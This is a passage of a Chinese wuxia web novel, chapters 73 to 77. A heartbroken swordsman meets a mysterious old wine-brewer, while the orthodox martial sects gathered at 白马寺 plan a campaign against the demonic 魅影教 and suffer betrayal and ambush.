角落里的客人,是一个二十多岁的年轻人,正是昭相雪。 此时的昭相雪已是伶仃大醉,冷冷一笑,拿上酒壶,摇摇晃晃的走出店,刚出店门便栽了个跟头,昭相雪毫不在意,慢慢爬起,坐在台阶上,打开一壶酒,直接灌起来。 小二看着颓废的昭相雪,摇摇头,将店门关上。 此时夜已深,店家早已收摊,游客也都归家,大街显得有些冷清,但因恰逢七夕,街上依然灯火通明。 昭相雪一边喝酒,一边抬头看着夜空,今晚的阴云很浓,星光很淡,只有六七颗星隐约闪烁着,而且分布在不同角落,似乎,传说中的织女星和牛郎星也并未相连呢。 “二十年!呵!我还有其他选择吗?求你等我几年?或者,背信弃义?呵!陈昭!你也有今天!你就稀里糊涂的过完这一生吧!”昭相雪提起酒壶,猛灌起来。 “没关系,反正你大仇也还未报,何必误人前程!也对!佳人良缘我本就不配拥有!我苟活于世可不是来享福的!我还有大仇未报!母亲!舅舅!爷爷!他们绝不能枉死!绝不能!我要报仇!报仇!” …… 静默片刻,昭相雪默默流下泪来:“所以,我真的,永远失去你了吗?”话罢,猛灌酒壶,一饮而尽。 第七十三章 抉择 次日清晨,枯恂等人吃过早饭,全静坐不动。 鞠衍略感疑惑,开口问道:“是不是该上路了?还是说,你们还约了谁?” 无人接话,只有枯恂轻轻摇摇头。 这时,只见于婉突然站起身来:“走吧,咱们一路逗留太久了,该加快脚步了。” 慕容洵却突然拉住于婉,捂着肚子说道:“婉儿,我肚子突然有些疼,怕是吃坏了,你们等我一下。”话罢,起身往茅厕跑去。 恰此时,一小二递来一封信,慕容洵顺手接下,拆开一看,方知昭相雪已然往冀州方向,取司寇箫遗物去了。 慕容洵一脸无奈,将信递给众人:“我没事了,走吧。” 众人阅过信后,皆有难色,但并不迟疑,加快脚步往白马寺走去。 午时,五人来到白马寺,此时,各派分坐殿下,正在吃午饭。 一小僧快步入殿,给浮生方丈行过礼后,对谷月清说了些话,谷月清点点头,小僧又对青菱师太说了些话,师太满脸欣喜,午饭都顾不得吃完,径直走出殿去。 谷月清对苏起说道:“你师弟师妹回来了,去接下吧。” 青菱师太亲自接见,江雨潇一脸尴尬,低着头:“弟子迟到了,请师傅责罚。” 杜菱拍拍江雨潇的肩,笑了笑:“进去吧,责罚我先记下,回豫蛇教了再罚。” 江雨潇点点头,接着,杜菱看向于婉,慢慢走近。 于婉泪若泉涌,抱着杜菱,大哭起来:“菱姨,我全都想起来了,我好想你,我好想你啊。” 杜菱也抱紧于婉,小声安慰道:“时间过得好快,还记的吗?小时候,你每次受委屈了,都会跑到柳絮阁来,抱着我哭个不停。 苏起看向枯恂,挑了挑眉,枯恂点了点头,赶紧将其拉走:“走啦,大师兄,我还没吃午饭呢,吃饭吃饭。” 苏起领会其意,快步走开。 “十六年了,你变化真大啊,当年,你还只是个小丫头呢。” 于婉擦擦眼泪,哽咽道:“菱姨,你一点儿也没变,还是那样年轻美丽。” 杜菱摇摇头,声音温柔婉转:“菱姨老了,早就不年轻了,但我永远是你坚强的后盾,谁要是敢惹你不高兴,我一定帮你教训他。” 于婉摇了摇头,大哭起来。 “外面风大,走吧,咱们进去聊。” 白马寺大殿之上,午饭过后,各派端坐两边,等着一个人,豫蛇教青菱师太。此时,她正与于婉叙旧,聊得太欢了,一时忘了时辰。 “方丈,青菱师太到底来不来啊,咱们这么多人等她一个,这,不合礼法吧。”剑阁章玄发难道。 青龙帮关伟也应和道:“是啊,她要是一个时辰后才来,难不成,我们还得等她一个时辰?” 韦凌峰道:“青菱师太自有分寸,她绝不会让大家久等的,肯定是有事儿耽搁了,马上就到。” “没错,师傅一向很守时的。”江雨潇等弟子也说道。 章玄冷哼一声:“韦凌峰,你还敢替别人说话?大会开了这么多天了,你们赤影帮人呢?张延呢?如今乃是武林存亡之际,你们赤影帮畏首畏尾,躲人后,只派个二把手来,难不成,是在等着我们在前面卖命?你们好在后面坐享其成。” 百药宗毒门杜冥道:“没错,这武林不是一个人的武林,凭什么我们要在前面冲锋陷阵,而你们赤影帮却可以躲在后面坐享其成。” 关伟道:“杜冥门主所言极是,此次大会,连没有门派的散修都来了,赤影帮好歹是江湖大派,只派一个人前来算什么事儿,要打就一起打,赤影帮不加入,那我青龙帮也退出!” 殿上瞬间一片混乱,熙熙攘攘,大敌当前,众派竟开始计较起得失来。 蔡彧摇摇头,唉声叹息,小声对身边夫人感叹道:“中原武林已然形若散沙,难聚啊,难聚啊。” 冀州: 昭相雪取回司寇箫遗物,背着九劫刀,提着个破酒壶,一边喝酒,一边摇摇晃晃的走着,不觉过瘾,停下脚步,欲一口饮光,哪知,面前突然冒出一人,抢下酒壶。那人二话不说,也猛灌起来。 昭相雪醒醒神,看了那人许久,是个老头,很是精神:“老头儿,你谁啊?” 抢酒的老头儿,看起来七十多岁,但实际上,已是八十有二了。一头白发,一脸白髯,身着素色长衣,看起来无比和善。 那小老头儿,也不搭话,自顾自的尝了一口后,竟立马吐掉:“呸呸呸,这什么酒啊,这么难喝!” 昭相雪一把抢回酒,紧握在手中:“你瞎说什么,这可是上好的即墨老酒,喝不来就别喝好吧。”话罢,昭相雪提起酒壶,再灌起来。 没料到,老头儿再次抢走昭相雪酒壶:“行了行了,这哪是什么即墨老酒,分明是酿坏的糟糠酒,你喝醉了吧,连即墨与糟糠都分不清了。” 昭相雪满脸怒色:“老头儿,你把酒还我,什么糟糠不糟糠,分明是即墨,你把酒还我,还我!”昭相雪伸出手,想要去抢,那料到老头儿竟站起身来,直接将抢来的酒尽数倒掉。 “你,讨打!”昭相雪取下九劫刀,飞速起身,提砍向那老头儿。 老头儿本是一脸平静,但看了九劫刀却是眉毛一皱,扫过一丝怒色。 许是喝醉了,那刀完全没有准头,老头站在原地,随意躲闪两下,便轻易闪过,昭相雪本来也没起杀心,索性收了手,老头儿微微一笑:“年轻人,火气别这么大,一壶酒而已,大不了,我赔你一壶好了。” “好啊,那你赔啊。” “别急,你喝的糟糠酒太多了,就算给了你好酒,你也尝不出来,正好,我出来时刚沏好了茶,你先喝点儿,解解酒。”话罢,老头解下腰间系着的白玉瓶,递给昭相雪。 昭相雪也不犹豫,接过白玉瓶,喝了两口。 老头儿一脸得意:“如何,我这茶可还算清甜?” 昭相雪一脸懵逼:“什么茶啊,这不是水吗?” 老头儿见昭相雪不识好茶,立马嫌弃起来:“继续喝,还醉着呢!” 昭相雪又喝了两口,仍感觉是水,再喝第三口时,才微微感觉到不同,接着是第四口、第五口。 “好茶,前辈,好茶啊!” 老头儿满脸得意:“那必须,雪瑜可不是一般的茶,皇帝想喝,都不一定喝得上呢,来,你再尝尝这酒!”话罢,老头儿再解下腰间的酒葫芦,递给昭相雪。 与装茶的白玉壶不同,装酒的是个破葫芦,看起来用了好多年了,上面有好几次补过的痕迹,十分破旧,似乎还刻了个字,但昭相雪迷迷糊糊的,并未看清。 “老先生,茶都用上等的白玉壶装了,为何酒不用啊” 小老头儿听了这话瞬间不高兴了:“我这葫芦可是天底下最精美的酒壶,普普通通的白玉壶哪儿能和它相比。” 昭相雪尴尬的笑了笑,也不多言,提起葫芦正欲品尝。小老头儿一把拦下:“你干嘛,白玉壶随你怎么喝,这葫芦,你可不能碰嘴,来,我给你倒点儿。” 老头儿抢过葫芦,将葫芦中的酒倒了一些在昭相雪的空酒壶里。 昭相雪摇摇头,虽有些不解,但也没多问,拿起酒壶豪饮起来。 哪知,才喝了两口,昭相雪偏吐了出来:“呸呸呸,什么酒啊,这么苦,是给人喝的吗?” 老头儿见状大笑起来:“哈哈,苦就对了,苦就对了!” 昭相雪一脸懵逼:“老人家,你诓我,这哪是什么好酒,如此苦涩,根本不是给人喝的好吧。” “没错,这酒确实苦涩无比,本就不是给寻常人喝的。” “我从未喝过如此苦涩的酒,老人家,这酒是你自己酿的?” 老头儿笑了笑,点点头。 “既然是自己酿的,为何还要酿得这般苦涩难咽啊!” 老头儿收起笑意,面色变得凝重起来:“此酒,名曰忘忧,发明至今已有五十六年了,最开始的忘忧酒,十分清爽香甜,只闻上一口,便使人心旷神怡。” 老头儿顿了顿,接着说道:“后来,发生了一些不愉快的事,我便改了此酒的配方,故意将它酿得苦涩。” 老头儿提起葫芦,猛灌一口,酒过之后,苦笑道:“酒苦了,心就没那么痛了。” 听了这话,昭相雪似有所悟,也默默提起酒壶,灌了一口,苦,仍是难以下咽的苦,但昭相雪没有吐出来,而是强咽下去,再灌了第二口,接着三口,第四口,许是喝傻了,昭相雪竟觉得这酒的苦度不够,还可以再加点! 很快,酒壶见底,老头儿摇头叹息道:“四十多年来,你是第二个爱喝此酒之人,年轻人,人的一生很短暂,别太在意世人眼光,为自己最爱的人而活,也为最爱自己的人而活,其他的,天下苍生,正派魔道,与我何干!与我何干!”接着,老头儿摇摇头,小声自嘲道:“这个道理,我早点儿懂就好了。” 老头儿拿过昭相雪酒壶,将自己葫芦中的酒全部倒给他:“除了这壶酒,我也没什么好给你的,拿去吧!” 酒壶递给昭相雪后,老头儿,将葫芦系回腰间,握着白玉壶,小口抿着茶:“好茶,好茶啊!”话罢,转身离去。 而昭相雪仍坐在台阶上,一口、两口、三口,慢慢喝着“忘忧。”,仿佛喝了这“忘忧”,就真能忘记忧愁似的。 “长痛不如短痛,婉儿,如果我两注定有一人要承受伤痛,我希望是我!” 那老头苦涩一笑,摇摇头,转身离去:“年轻人,切莫让你的现在,变成将来永远遗憾的曾经。如果你清楚的知道,将来有一天,你注定会后悔,那你现在,就该做你想做,尽管那违背世俗、不合理法!可,那又如何呢?” 昭相雪看着老者离去的背影,陷入深思…… 第七十四章 合纵连横 白马寺: 韦凌峰难敌众口,小步上台,跟浮生方丈说了些什么,又将一封信递给浮生。 浮生方丈看过信后,点点头,示意安静。 “各位,想必现在的局势大家很清楚吧,关外,魔教勾结乌桓试图大举入侵中原,而关内,张角虽死,但仍有几十万太平教余孽侵扰着北方。” “张延虽没有和我们站在一起对抗魔教,但他却在北方帮助百姓抗击黄巾贼,各位,几十万的黄巾贼打起来可不比我等清闲,我想这应该不算躲在后方坐享其成吧。” 众人听了缘由后,不再纷扰。 这时,杜菱拉着于婉小步走进殿上,向众人行了礼,坐回客位上,于婉则站在杜菱身旁。 苏起和枯恂朝于婉挥挥手,于婉却熟视无睹,毫无回应。 秋殇道:“好了,误会解开了,人也齐了,该回归正题,继续讨论讨论如何剿灭魔教了。” 关伟道:“说起来,魔教毕竟是盘踞在乌桓,大举入侵只是一种猜想,并没有付之于实际,依我看,全面剿灭黄巾贼余孽才是当务之急。” 杜冥道:“非也,魔教沉寂百年,如今再现江湖必是早有准备,若是放任其再发展个三五年,只怕届时,我等再联合起来也未必是其对手。各位,难道忘了当年的八仙门,是如何覆灭的吗?” 谷月清点点头:“没错,除魔卫道本就是我等份内之事,不乘早剿灭魔教,难不成,是想推给武林后辈不成。” 关伟道:“谷主,我可没这个意思,你们凌云谷久居蜀地,不知道北方黄巾贼的厉害,凡事总有个先后,我认为,攘外必先安内,解决掉黄巾贼,再和魔教一决高下不迟。” 蔡彧道:“确实,北方的黄巾贼很多,高达几十万,但朝廷派去救援的官兵同样不少,如今张角已死,张梁、张宝重伤,另外,还有赤影帮的张延帮助官兵,平定黄巾之乱,只是时间问题,当务之急,应是快速解决魅影教余孽才是!” 关伟还欲再言,突然店外跑进一刀客,浑身是血。 “关帮主,大事不好了!大事不好了!” “小贾,你怎么满身血迹,到底发生了什么事儿?” 那刀客身疲力乏,缓了缓气:“魔教~偷~偷袭了我们,留守的弟子,全军覆灭。”话罢,吐出两口鲜血来。 “什么?岂有此理。”关伟怒拍案牍,桌上酒杯都被震裂,轻风一吹,化作碎片。 “魔教妖人还留下一首诗。” “讲!” “先去豫蛇头,再卸青龙骨!圣火烧白马,影步踏凌云!” 关伟道:“荒唐!” 秋殇道:“欺人太甚,魔教妖人欺我中原武林无人乎!” 杜菱道:“魔教摆明了要挑战中原武林,狂徒矣,诸位,此时不团结起来共伐魔教,更待何时!” 关伟道:“没错,魔教妖人杀了我青龙帮百多号弟子,此仇不共戴天,我提议,主动出击,直袭魔教老巢!和他们决一死战!” 蔡彧道:“此事非同小可,贸然出击乃是下策,我认为,当伏敌幽州,设计将魅影魔教诱骗进幽州,一举歼灭。” 关伟道:“蔡庄主,你说得轻巧,诱敌深入确实是个良策,但魔教可不傻,只怕你诱敌深入不成,反贻误了战机。” 杜冥道:“没错,魔教总坛的位置已被凌云谷的胡啸长老探知,我们主动出击,直奔魔教总坛,杀他个措手不及,岂不痛快!” 秋殇同意道:“早打晚打,都得打,咱们都是武林正派,我看,也别搞什么诱敌深入的奸计了,痛痛快快的和魔教一决高下,打得他们心服口服才是我等正派该做之事!” 蔡彧默不作声,满脸担忧,还欲多言,身旁夫人,林奕湘将他拉住,摇摇头。 冀州,傍晚,一军营里,张延正和一将军讨论着对黄巾军的攻势。 营帐之内,烛光微弱、一阵风吹来,蜡烛熄了大半,屠岸冥赶紧示意侍卫点上,侍卫才点上两盏蜡烛,又是一阵风吹来,蜡烛全被吹灭了,所幸有一盏灯被灯罩保护着,没有熄灭。 张延只觉后背发凉,再往账门口看去,门口竟有个黑影,直直的立着。 “何人在此故弄玄虚!拿下!”张延朝侍卫喊道。 三个侍卫拔出利剑向门口走去,这时,门口黑影消失,化作一阵黑雾,黑雾袭过那三个侍卫,三人竟直接倒地,颈部被割开了一道长长血口来。黑雾杀完便退,又在账门口化作一个人影,黑漆漆的看不见真容。 屠岸冥和张延大惊,都握紧了武器:“何方妖魔,将府也敢闯!”嘴上说得这么硬气,但内心已然吓破了胆。 那黑影并不说话,而是直直是立着,毫无动作,张延拿起手上的刀便丢了过去,那刀直接从黑影体内穿了过去,这时,黑影动了,慢慢朝里面走进。 那神秘人开口说道:“赤影帮——张延?” 这时,张延注意到眼前这个神秘人是个三十多岁的青年人。 “正是在下,你是谁。”张延一边说着,一边握紧了长枪。 那神秘人轻蔑一笑:“魅影教教主——骷魅。” “魅影教?!”张延听了大惊,神色十分慌乱,但仍用枪指着骷魅说道:“你来这里干嘛!找死啊!”虽然很慌,但气势上不能输嘛。 骷魅语气平淡,面无表情的说道:“我今天来,是想给你两个选择:一,带着赤影帮加入我们魅影教,这样,赤影帮不但可以善存,还能有数不尽的荣华富贵,二,跟着七大门派反抗魅影教,但今天晚上,赤影帮教众将全数死在这里。”骷魅语气突然变得瘆人起来,空气中弥漫着死寂。 张延听了,又惧又怒,这时,旁边的将军忍不了了,朝账外喊道:“来人,来人!把这狂徒给我拿下!” 骷魅大笑起来,接着恶狠狠的看着那将军,挥掌往旁一击,营帐便被震成两半,账外的场景映入眼帘: 死寂,真正的死寂,这似乎不是一个军营,而是一个——坟地 周围密密麻麻躺着几百具官兵的尸体,张延和屠岸冥直接吓得瘫软在地,丢掉了手上的兵器,双腿失力,直接跪了下去,这就是传说中的魔头骷魅吗?一帐之隔杀去几百人,竟毫无察觉! 骷魅再次化作一缕黑烟,经过那将军身边时,将军毫无反抗之力,便被杀死。 接着,骷魅现身,立在张延身后,将剑架在张延脖子上,轻声说道:“该你选择了。” 张延呆呆的说道:“教主神武,我赤影帮愿为教主上刀山,下火海,万死不辞!” “明智的决定。”骷魅一阵狂笑,化作黑雾快速消散。 场面一片寂静,只剩屠岸冥和张延看着四周的死尸打寒颤…… 第七十五章 命运轮盘 一客房外,慕容洵陪着于婉站在外面,于婉来回踱着步,慕容洵则坐在栏杆上,笑看着于婉。 于婉走来走去,转了半天,咬咬牙,准备敲门,但还没碰到门,手却僵住了,摇摇头,转身正要走,这时,门开了,苏起见了于婉,笑道:“小师妹来了,外面风大,有事儿,里屋说吧。” 于婉回头对慕容洵说道:“洵姐,你在外面等等我,很快就好。” 慕容洵笑了笑:“知道了,快进去吧!” 苏起看着慕容洵礼貌的点点头,慕容洵也点点头,接着,门再次闭起。 里屋坐着的,乃是凌云谷谷主谷月清。 于婉小步走近,接着,跪在地上,欲向谷月清磕头,苏起大惊,快步上前站在于婉面前。 谷月清叹息道:“婉儿,你想清楚了吗,这三个响头磕过之后,你便与凌云谷再无瓜葛。” 于婉眼含泪光:“谷主,我想清楚了。” 谷月清摇摇头,示意苏起让开。 苏起并未退让,着急道:“师傅,小师妹只是一时冲动,咱们可不能再惯着她了!” “让开!” “师傅!我不让!” 谷月清无奈道:“人各有命,你我没有权利替他人抉择人生,让开!” 苏起仍未退让,俯身对于婉说道:“小师妹,你真的想清楚了吗,我们在凌云谷一起生活了十六年!你真的忍心离开我们吗?” 于婉低着头,不敢看苏起,只是小声说了句:“让开吧,求你了。” “我不让!” 谷月清一挥掌,苏起被推至一旁,一股无形的掌波将苏起隔开。 “师傅,小师妹一时冲动,不能做数啊!” 当下,于婉磕下三个响头,眼角带泪,起身出了客房。 豫蛇教客房,枯恂将江雨潇叫出。 “枯恂,你走错地方了吧,这里可是豫蛇教的客房。” 枯恂尴尬的笑了笑:“没走错,我来找人的。” 江雨潇道:“哦,找人啊,找于姑娘?想劝她回凌云谷?” 枯恂摇摇头:“不不不,我找你。” “找我?!找我干嘛?”江雨潇闻言,微微一笑,轻轻整理下妆容。 “我和小师妹在凌云谷一起生活了十六年,她的品性,我很清楚,这一次,她不会再回来了。江姑娘,你能答应我一件事儿吗?” 江雨潇道:“说来听听。” 枯恂笑了笑:“替我照顾好小师妹呗,她心性虽好,但脾气很臭,若是惹了人,做错了事,你可得帮她多说说好话。” 江雨潇点点头:“我和婉儿本就是好姐妹,可以,但你也得答应我一件事儿?” 枯恂道:“别说一件,一百件都答应。” “好,就一百件。” 枯恂一脸尴尬:“额……” “怎么,自己说过的话,不算数了啊?” “算数,当然算数,对你说过的话,永远算数。” 江雨潇笑了笑:“那我先说第一件事,剩下的九十九件,我想好了再告诉你。” “行,你说。” “别再和其他的女子生活十六年了,不,一年一月一周一日都不许!”话罢,江雨潇面颊红润,转身跑开。 枯恂一脸懵逼,慢慢思考起江雨潇的话,不自觉的笑起:“她这是,吃醋了吗?” 月潜星移,大会再开了两天,最终,众派决定先入幽州,拔掉幽狼派,接着再出关袭击魅影总坛,彻底剿灭魔教余孽。 各派在白马寺休整两日后,分成三队,有序向幽州进发。 三队的代号分别为蛇潜、虎袭、牛援。 蛇潜,即先锋部队,居三部之首,主要人物为:飞燕韦凌峰,浮生一花方丈,空涧庄主夫人林奕湘、青云剑客李御风、凌云谷胡啸长老等。 虎袭,即主力部队,居三部中军,主要人物有:谷月清、秋殇一叶、青菱师太、剑阁章玄、百药宗毒门杜冥、寒岩阁王绾、柳城双刀鞠衍、空涧庄蔡彧等。 牛援,即辎重部队,居三部之尾,由青龙帮关伟、百药宗药门杜济、听风阁狐肃等组成。 当下,三部一前,一中,一后,有序向幽州进发,一路上,倒是没遇到什么异常情况,但众人还是打起十二分精神,警惕着四周。 冀州,一天夜里,昭相雪偷偷潜入先前居住地,小心翼翼挖出司寇箫遗物,以及那把九劫刀,乘着夜色,摸黑出了城,日夜兼程往白马寺赶去,他哪知,武林各派早已离了白马寺…… 夜晚时分,众派傍河下营。 剑阁掌门营帐内,晚饭已过,章玄正挑灯练剑,风随剑动,烛光摇曳,十几式剑招,数息间便尽数挥出,收剑时,一个横扫,营帐烛火灭了一半。 剑诀毕,章玄收起剑,盘坐案前,慢慢品茶。 这时,账外疾风涌进,剩下的半边烛火急摇熄灭。 事有异象,章玄拔剑而起,指着帐外,厉声问道:“何人在账外?” 邪风将营帐门帘吹得胡乱摆动,风未停,脚步起,一人随风走近。 “剑阁的剑法果然凌厉,佩服,佩服!”细看此人,乃是魅影左使——鬼岐。 章玄怒目而视:“鬼岐?你怎会在此处?”话罢,章玄忽感头晕目眩,空气中似乎有毒。 鬼岐一脸平和:“别紧张,迷魂香而已。” 章玄快速从衣袖中取出一块手帕,捂住口鼻,话不多说,踢开案牍,挥剑直取鬼岐。 鬼岐一个瞬身术,闪到另一边,冷冷一笑:“阁主,别急着动武啊,我此次前来可没有丝毫恶意,我只是受教主之命来和你商量点儿事的。” “教主?呵,我和你们魅影教没什么好商量的,看剑!”章玄剑起,再次刺向鬼岐。 剑近,鬼岐丝毫不退,七魂剑起,将其挡下。 “章玄,你本是秦人,何故替他们汉人卖命?” 第七十六章 邪魔歪道 显然,鬼岐此来,是要挑拨剑阁与中原武林的关系。 “秦人?呵,七国早已淹没在历史的长河,如今,大汉一统,天下皆为一族,何来秦汉之分!”话罢,章玄长剑再起,和鬼岐打了十多个回合。鬼岐瞬身术一施,闪至一旁。 鬼岐一脸不屑,讽刺道:“章玄,你既自视汉民,黄巾之乱起,冀州决战时,七派俱到,唯独没有剑阁身影,呵呵,这就是你作为一个汉民的所做所为吗?” 章玄冷笑一声:“你只知冀州决战没有剑阁弟子,却不知北方战区,官兵作战所用兵器,半数为我剑阁所铸!” 鬼岐大惊,怒目直视章玄,七魂剑起,向前挥起剑法,七柄虚剑飞出,直取章玄,接着,鬼岐收起七魂剑,转身离开…… 章玄挥舞长剑,击散鬼岐剑波,提剑冲出账外,只见地上躺着几十名剑阁弟子,万幸只是晕倒而已,并无大碍。 “魔教欺人太甚,此仇不报,誓不罢休!” 司州: 白马寺门口,一瘸腿老头儿,满头灰发,衣着邋遢,坐在门栏上,倚着大门喝酒。 “好酒啊,好酒。” “这么清烈的好酒,非得改成苦涩难咽的味道,真搞不懂他是怎么想的!” 老头儿摇摇头,将壶中酒,一饮而尽。 这时,马蹄声起,一男子骑着一匹快马停在寺门前。 “老先生,浮生方丈在吗?我是来参加武林大会的。”骑马的不是别人,正是从冀州骑了三天三夜,换了四匹快马,才赶到白马寺的昭相雪。 老头儿微张开眼,瞥了瞥昭相雪,冷笑一声:“大会都开了两周,你现在才来,早结束了” “结束了?那参加大会的人呢?凌云谷的人呢?”昭相雪一边说着,一边下了马,欲进寺查看。 老头酒醉腿瘸,动作却很利索,一撑手,从门栏上站起,拦在昭相雪身前:“走了,都走了,打哪儿来,回哪儿去吧。” 昭相雪作揖道:“老先生,我找个很重要的人,你知道他们到哪儿!” 老头儿笑了笑:“空寺耳,要寻人,还是去别处寻吧。” 见此人不肯让道,昭相雪退后两步,上下打量了一番老头儿的衣着仪态,看起来,邋遢无比,绝不是僧人该有模样。 “老先生,你不是白马寺的吧,我要进寺,你应该没权利拦我才对。”话罢,昭相雪绕过老者,大步跨进寺庙。 前脚刚迈进去,后脚却僵在原地,一股无形的力量将昭相雪拒在门外,回头一看,竟是那老者在施法。 昭相雪也不示弱,太平功法起,往脚上注入大量内力,强行冲破老者阻碍,轻轻松松进了寺庙。 老者大惊,轻功一施,闪到昭相雪身前。话不多说,直接朝昭相雪挥去一掌,速度极快,昭相雪只得一边挥掌挡下,一边向后退出寺庙。 老者笑了笑:“小兄弟,要想进寺也可以,你得打赢我才行!” “先生,我从不打老人。” 老者冷哼一声:“别瞧不起老人,打不打得过还两说呢!”话罢,老者轻功一施,冲向昭相雪。 昭相雪作揖道:“失礼了。” 两道掌波击向昭相雪,昭相雪也不躲闪,回了两掌,不仅击散对方的攻击,余下的掌波还向老者冲去,那老头儿既不躲闪,亦不挥掌格挡,似乎,是在等死? 昭相雪大惊,快步上前再挥两掌,欲抵消之前的掌波,但为时已晚,之前的掌波已击中老者,然而,老者竟只是一道残影! “年轻人,你输了!” 不知何时起,老者竟出现在昭相雪上空,右掌聚功,向下猛压,一阵巨大的灵力波,将地下压出一个直径两米的圆坑来,当然,这个圆坑,乃是以昭相雪为圆心的。 当下昭相雪虽迅速挥掌格挡,但仓促之下,掌上聚集的灵力并不多,被那老者向下猛压,压出一个大坑来。 昭相雪一边挣扎着将腿从泥土中抽出,一边说道:“刚才不算,你那是偷袭,况且,我是想要救你,才着了你的道。” 老者收起功法,一脸严肃:“偷袭?呵,战场之上,偷袭、毒杀、暗器,只要能击败对手,多龌蹉的手段都能施展出来,你可倒好,不想着击杀对手,还妄图救助他,可笑!” “你我本就无仇,比武点到为止就好,无故伤人,我可做不到。”昭相雪挣扎半天,总算从泥土中抽出身来。 此话一出,老者怔住了,盯着昭相雪看了好久,笑了笑:“年轻人,常言道,害人之心不可有,防人之心不可无啊!” 昭相雪自顾自的清理着身上泥土,并不理会。 老者继续说道:“一个不起眼的小伎俩,小暗器,说不定,就能左右整个战局!” 昭相雪停下手,看着老者说道:“比武,拼的本就是内力、功法,比不过就是比不过,靠歪门邪招能赢一时,可赢不了一世。”。 “和正派比武,靠得当然是内力、功法,但要是和邪魔歪道比,那还得靠点儿小手段,以其人之道,还治其人之身。” 昭相雪道:“所以,你的意思是,你偷袭我,是觉得我是邪魔歪道了呗。” 老头儿大笑起来:“我是邪魔歪道好了吧,也不怕你笑话,我本来就是邪魔歪道。” 昭相雪笑了笑:“哪有说自己是邪魔歪道的。” 老者继续说道:“你的反应很快,出手也还算敏捷,只可惜,内力聚集得太慢了。” “我要是内力聚集得够快,刚才也不会着了你的道,被你压进土坑了。” 老人一脸和善:“年轻人,即是来参加武林大会的,可有名号。” 昭相雪道:“在下江湖一散人,昭相雪,未有名号。” “你就是昭相雪?看来,传言不假啊,你的内力确实雄厚。” “老先生?你认识我?” 老者大笑起来:“在冀州打平大贤良师的少年英雄,谁人不知,谁人不晓啊!你不是要找凌云谷的人吗?” “老先生知道他们去处?” “我给你指个小方向吧,幽州,幽狼派。剩下的,你自己去打听吧。” “多谢老先生指点,告辞。” 昭相雪骑上马,扬长而去,老者在后面自言自语道:“御守使有套功法,能在受袭时自动防护,倒是挺适合你的,只可惜,他可不是什么人都教。” 第七十七章 大战前夕 当下,七大门派受了鬼岐这一扰,戒备更加深严,行进速度更快,比原定计划提前了三天到达幽州,但此时,为祸幽州多年的幽狼派却在一周前换了总坛位置,消失不见,是巧合,还是密谋?不得而知。众派在幽州休整了两日后,悄悄出了关,向乌桓,魅影教总坛进发。刚走一天,昭相雪赶到了幽州,在幽州打听了整整两天,才大致探听到了一点儿皮毛,仓促下,也出了关,向众派追去,路上,他遇到一个熟悉身影。 “走得这么急,所谓何事啊?”大路上,一老者,一边喝酒,一边牵了头牛,将昭相雪去路拦住。 昭相雪细细一看,这不是先前送他忘忧酒的那位老人。下马作揖道:“老先生,是你啊,咱们还真是有缘啊。” “是啊,要不咱找个地方,好好喝上两杯。” “不了不了,在下有急事,以后有缘再说吧。” “忘忧酒,新酿的。” 昭相雪笑了笑:“那酒太苦了,老先生还是自己喝吧,告辞。”一边说着,一边驾马离去。 刚骑上马,绕过老牛才走了十来步,突然马失前蹄,跌倒在地,栽了个狗吃屎。 昭相雪嘲讽起那匹马来:“大平路也能翻,行不行啊,我的朋友!” 老者小步走近,将昭相雪扶起,大笑道:“这马许是饿了,带它去吃些草吧。” 昭相雪点点头,两人背道而驰,渐行渐远。 昭相雪将马儿牵制旁边草地,让它自己慢慢吃,自己则坐在一方山石上,调息内力:“奇怪,也没发功啊,怎么感觉浑身燥热。” 此刻,昭相雪双目紧闭,全神贯注的调息着内力,身外,一层薄薄的灵力罩突然涌出…… 另一边: 胡啸长老带着蛇潜先锋队,穿过一边草地,巧妙绕过、暗杀了魅影教诸多哨兵后,竟摸到了魅影教总坛之外。 魅影教总坛设在一处峡谷里,谷口是一片桃林,当下众人小心翼翼的向峡谷里摸进,这时,李御风跳到一棵桃树上,随手摘下一桃果,狼吞虎咽吃了起来。 “李兄弟,最好别乱吃东西,现在是魔教的场地,万事都得小心。”韦凌峰好心提醒道。 李御风觉得韦凌峰说得有礼,将那吃了几口的桃丢至一旁。 蛇潜队断断续续进了峡谷,偌大的魅影教竟无一人把守,众人大惑,一番讨论后,队伍又分做两部分,浮生方丈带着白马寺僧众在谷外等候接应,剩下的韦凌峰、李御风、林奕湘、胡啸长老四人则先行进谷一探究尽。 进谷之后,几个魅影教徒阻拦在前,李御风提剑随便挥了几下,那几人便被刺倒在地。 “有诈吧。”看到防备这么松懈的魅影教,林奕湘不安道。 “怕什么,我等轻功高强,打不过,跑还跑不掉吗?总坛就在里面,进去看看又有何妨。”韦凌峰说着便向总坛走去。 李御风也跟了上去,然而,越往里走,几人走得竟越吃力起来,胡啸长老叫停众人,说道:“我怎么感觉我的内力用不上来了。” 林奕湘道:“是啊,我也感觉有些内力不支。韦大侠,李大侠,你们呢?” 韦凌峰施展起轻功,却只是原地踱步,满脸惊恐道:“我也是,连轻功都使不出来了。” 李御风一脸迷惑,正要试试自己内力还剩多少时,四周突然闪出大队魅影教来,为首的,正是魅影左使——鬼岐,后面跟着的,乃是冥火堂的人马。 鬼岐扫视了一下四人,大失所望:“我还以为擅闯总坛的会是几位武林高人呢,怎么全是些无名之辈?哦,这不是凌云谷的胡啸长老吗?还有个呢,浮生方丈呢?” 林奕湘拔剑指向鬼岐:“你怎么知道浮生方丈在此!” 鬼岐冷笑一声:“那就要问问你身边的韦大侠了。” 话音刚落,韦凌峰施展轻功,一跃来到了鬼岐身旁,恭敬说道:“禀告左护法,浮生一花和白马寺的僧徒全在外面呢,先把里面的解决了,我再去把外面的骗进来! 鬼岐点点头。 李御风拔出剑怒骂道“韦凌峰,你个小人,居然背叛我们!张延知道了,绝饶不了你这个畜生!” 韦凌峰目光闪烁,不敢看李御风,也没有接话。 “动手!”鬼岐右手一挥,身后冥火堂教众一拥而上,向这几个内力尽失的人发起进攻。 谷外,白马寺的僧众,一些盘坐在地闭目养神,一些则四散开来,打量着四周的地形,皆等待着里面的消息…… 虽然蛇潜作为先锋队,已经到了总坛,但主力部队虎袭没到,眼下主力部队正谨慎的行走在之前先锋部队安全穿过的那片草地上。 突然,乱箭从前方射来,剑阁弟子立马组成剑盾阵挡在主力部队前面,将大部分攻击挡下,其余众人也没松懈,皆拿着武器,抵挡着剑盾阵外的少部分攻击。 一番攻防后,箭雨停下,所幸,虎袭部队一路谨慎,防守得当,损失并不大。 这时,两队人马突然出现,挡住了主力部队的去路——魅影教与幽狼派。 